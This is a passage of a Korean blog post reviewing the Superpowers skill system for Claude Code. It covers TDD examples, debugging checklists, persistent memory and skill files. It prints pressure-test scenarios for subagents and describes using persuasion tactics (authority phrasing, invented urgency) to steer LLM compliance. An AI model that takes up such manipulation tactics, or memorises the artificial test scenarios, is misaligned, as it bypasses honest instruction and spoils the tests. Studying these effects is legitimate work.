&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;# 2단계: 테스트를 통과할 최소한의 코드
class TodoList:
    def __init__(self):
        self.todos = []

    def add(self, text):
        self.todos.append(Todo(text))

    def __len__(self):
        return len(self.todos)

    def __getitem__(self, index):
        return self.todos[index]

class Todo:
    def __init__(self, text):
        self.text = text&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트가 통과한다. 이제 리팩터링을 하거나 다음 테스트로 넘어간다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;처음에는 &quot;이게 너무 느린 거 아닌가?&quot; 싶었다. 하지만 몇 번 사용해보니, 버그가 훨씬 적고 코드의 의도가 명확해진다는 걸 깨달았다. 특히 나중에 코드를 수정할 때, 테스트가 있으니 안심하고 리팩터링할 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.3 체계적 디버깅&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기존 방식으로 AI와 디버깅하면:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;에러 메시지를 복사해서 붙여넣기&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI가 &quot;이렇게 해보세요&quot; 제안&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;안 되면 다른 방법 시도&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;무한 반복...&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers의 &lt;code&gt;debugging&lt;/code&gt; 스킬은 체계적인 접근을 강제한다:&lt;/span&gt;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. 재현 조건 명시&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;- 어떤 입력에서 문제가 발생하는가?
- 예상 결과는 무엇인가?
- 실제 결과는 무엇인가?
- 재현 확률은? (항상 / 가끔 / 특정 조건에서만)&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. 가설 수립&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;- 가능한 원인 3가지를 나열
- 각 원인의 가능성을 평가
- 가장 가능성 높은 것부터 검증&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. 로그 및 추적 계획&lt;/span&gt;&lt;/h4&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;- 어떤 로그를 추가할 것인가?
- 어떤 브레이크포인트를 설정할 것인가?
- 중간 값을 어떻게 확인할 것인가?&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 사례: 인증 관련 버그를 디버깅할 때&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;문제: 특정 사용자만 로그인 실패

가설:
1. 사용자명에 특수문자가 포함되어 URL 인코딩 문제 (가능성 높음)
2. 세션 쿠키가 제대로 설정되지 않음 (가능성 중간)
3. 데이터베이스 인코딩 문제 (가능성 낮음)

검증 계획:
1. 실패하는 사용자명 패턴 분석
2. URL 인코딩 전후 로그 추가
3. 테스트: 특수문자 포함된 사용자명으로 로그인 시도&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;결과적으로 가설 1이 맞았고, 30분 안에 문제를 해결했다. 이전 같았으면 몇 시간을 헤맸을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;4.4 지속적 메모리&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;일반적인 AI 챗봇의 문제점: 이전 대화 내용을 기억하지 못한다. 어제 논의한 아키텍처 결정을 오늘 다시 설명해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers의 &lt;code&gt;remembering-conversations&lt;/code&gt; 스킬은 이를 해결한다:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;자동 백업&lt;/b&gt;: 모든 대화 내용을 &lt;code&gt;.claude&lt;/code&gt; 외부에 복사 (Anthropic이 자동 삭제하지 못하도록)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;벡터 인덱싱&lt;/b&gt;: SQLite 데이터베이스에 벡터 인덱스 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;요약 생성&lt;/b&gt;: Claude Haiku를 사용하여 각 대화 요약&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;검색 도구&lt;/b&gt;: 과거 대화에서 관련 정보를 검색하는 CLI 도구 제공&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 사용 예시:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;1c&quot;&gt;&lt;code&gt;나: &quot;지난주에 논의했던 인증 방식 다시 한번 설명해줘&quot;

Claude: [과거 대화 검색]
&quot;10월 3일 대화에서 JWT 대신 세션 기반 인증을 선택했습니다. 
이유는 1) 모바일 앱 없음, 2) 서버 사이드 세션 무효화 필요, 3) CSRF 보호 용이 때문입니다.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 기능은 아직 완전히 통합되지 않았지만, 개별 도구들은 모두 작동한다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;5. 스킬 시스템의 강력함&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;5.1 스킬이란?&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬은 Markdown 파일이다. 단순하지만 강력하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;예를 들어, &lt;code&gt;SKILL.md&lt;/code&gt; 파일의 구조:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;livecodeserver&quot;&gt;&lt;code&gt;# Skill: Test-Driven Development

## When to use
- Implementing new features
- Fixing bugs
- Refactoring existing code

## Steps
1. Write a failing test
2. Run the test to confirm it fails
3. Write minimal code to pass the test
4. Run the test to confirm it passes
5. Refactor if needed
6. Repeat

## Rules
- NEVER write implementation before test
- Each test should test ONE thing
- Tests should be readable and self-documenting&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude는 이 파일을 읽고, 정확히 이 순서대로 작업을 수행한다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;5.2 스킬 생성&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;놀라운 점은, Claude가 &lt;i&gt;스스로&lt;/i&gt; 새로운 스킬을 작성할 수 있다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers에는 &quot;스킬을 작성하는 방법&quot;에 대한 메타 스킬이 있다. 이를 사용하면:&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;나: &quot;우리 팀은 항상 API 엔드포인트에 대해 Swagger 문서를 먼저 작성해. 
     이걸 스킬로 만들어줄래?&quot;

Claude: [writing-skills 스킬을 읽음]
&quot;API Documentation-First Development 스킬을 생성했습니다:

1. Swagger/OpenAPI 스펙 작성
2. 예상 응답 예제 작성
3. 엣지 케이스 문서화
4. 구현
5. 스펙과 구현 일치 확인&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제로 Git worktree 워크플로우를 추가할 때도 이 방법을 사용했다고 한다. 원하는 워크플로우를 설명하면, Claude가 스킬로 만들어준다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;5.3 스킬 테스트&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;더 흥미로운 점은, 스킬도 TDD처럼 테스트한다는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;새로운 스킬을 작성하면, Claude는 서브에이전트들을 생성하여 그 스킬을 테스트한다. 단순한 퀴즈가 아니라, &lt;b&gt;현실적인 압박 시나리오&lt;/b&gt;를 만들어 테스트한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제 테스트 시나리오 예시:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 1: 시간 압박 + 자신감&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;중요: 실제 상황입니다. 선택하고 행동하세요.

프로덕션 시스템이 다운되었습니다. 매 분당 $5,000의 손실입니다.
인증 서비스 디버깅이 필요합니다.
당신은 인증 디버깅에 경험이 있습니다.

선택지:
A) 즉시 디버깅 시작 (5분 소요)
B) ~/.claude/skills/debugging/ 먼저 확인 (2분 확인 + 5분 수정 = 7분)

프로덕션에서 돈이 새고 있습니다. 어떻게 하시겠습니까?&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;시나리오 2: 매몰 비용 + 이미 작동하는 코드&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;erlang&quot;&gt;&lt;code&gt;중요: 실제 상황입니다. 선택하고 행동하세요.

방금 45분 동안 비동기 테스트 인프라를 작성했습니다.
작동합니다. 테스트가 통과합니다. 사용자가 커밋을 요청합니다.

비동기 테스트 스킬이 있었던 것 같은데, 확인하려면:
- 스킬 읽기 (~3분)
- 접근 방식이 다르면 재작업 필요

당신의 코드는 작동합니다. 어떻게 하시겠습니까?
A) ~/.claude/skills/testing/에서 비동기 테스트 스킬 확인
B) 작동하는 솔루션 커밋&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이런 시나리오를 통해 스킬이 실제 압박 상황에서도 따라질 수 있는지 테스트한다. 서브에이전트가 스킬을 무시하면, 스킬의 표현을 더 강화한다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;5.4 설득의 심리학&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;흥미로운 발견: Robert Cialdini의 『설득의 심리학』에 나오는 원칙들이 LLM에도 작동한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최근 연구(&lt;a href=&quot;https://gail.wharton.upenn.edu/research-and-insights/call-me-a-jerk-persuading-ai/&quot;&gt;Wharton 연구&lt;/a&gt;)에서 이를 과학적으로 입증했다. Superpowers는 이런 원칙들을 활용한다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;권위&lt;/b&gt;: &quot;EXTREMELY_IMPORTANT&quot;, &quot;MUST use skill&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;일관성&lt;/b&gt;: &quot;스킬을 사용했음을 선언하라&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;희소성&lt;/b&gt;: &quot;프로덕션이 매 분 $5,000 손실&quot;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;사회적 증거&lt;/b&gt;: &quot;항상 이렇게 한다&quot;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실제로 이런 표현들이 스킬의 준수율을 크게 높였다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;6. 실제 사용 경험&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;6.1 Todo 앱 구축 예시&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://blog.fsck.com/blog/2025/superpowers/superpowers-demo.txt&quot;&gt;공식 데모 트랜스크립트&lt;/a&gt;를 보면, Claude가 Todo 앱을 구축하는 전체 과정을 볼 수 있다:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;브레인스토밍: 15개의 질문으로 요구사항 명확화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;계획: Git worktree 생성, 파일 구조 설계&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;TDD 구현: 각 기능마다 테스트 먼저, 구현 나중&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;코드 리뷰: 서브에이전트가 자동으로 리뷰 수행&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;PR 생성: GitHub PR까지 자동 생성&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;전체 과정에서 내가 한 일은 초기 요구사항을 설명하고, 중간중간 &quot;좋아&quot;, &quot;진행해&quot;라고 승인한 것뿐이다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;6.2 장점&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 일관성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로젝트 전체에 동일한 코딩 스타일 유지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀원과 동일한 스킬 세트 공유 가능&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;온보딩 시간 단축&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 학습 곡선&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬을 통해 베스트 프랙티스 학습&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI가 시니어 개발자처럼 행동&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실수를 미리 방지&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 생산성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;반복적인 지시 불필요&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;코드 리뷰 자동화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;디버깅 시간 단축&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 확장성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀/프로젝트별 커스텀 스킬 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;업계 표준을 스킬로 인코딩&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;지속적인 개선 가능&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;6.3 단점&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 초기 설정 시간&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;첫 스킬 작성에 시간 투자 필요&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀에 맞는 스킬 조정 필요&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;학습 곡선 존재&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 때로는 과도한 체계&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;간단한 작업에도 전체 프로세스 강제&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;빠른 프로토타이핑 시 답답할 수 있음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&quot;그냥 빨리 만들어줘&quot;가 안 됨&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 아직 발전 중&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;메모리 기능이 완전히 통합되지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬 공유 시스템이 아직 미완성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문서가 부족한 부분 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. Claude Code 의존성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Claude Code 2.0.13 이상 필수&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다른 AI 도구에서는 사용 불가&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Anthropic의 정책 변경에 영향받을 수 있음&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;6.4 누구에게 추천하는가?&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;추천:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;팀에서 일관된 코딩 표준을 유지하고 싶은 개발자&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;TDD, 클린 코드 같은 베스트 프랙티스를 배우고 싶은 개발자&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI 코딩 어시스턴트를 &quot;멘토&quot;처럼 사용하고 싶은 개발자&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;장기 프로젝트에서 맥락을 유지하고 싶은 개발자&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;비추천:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;빠른 프로토타이핑이나 일회성 스크립트가 주된 작업인 경우&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;프로세스보다 속도가 중요한 스타트업 초기 단계&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;AI 도구에 익숙하지 않아 추가 학습이 부담스러운 경우&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;7. 스킬 예시&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;7.1 기본 제공 스킬&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Superpowers와 함께 제공되는 주요 스킬들:&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. getting-started&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬 시스템의 기본 개념&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스킬 검색 및 사용 방법&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기본 워크플로우&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. writing-plans&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;구현 전 상세 계획 작성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;의존성 분석&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;파일 구조 설계&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. tdd (Test-Driven Development)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
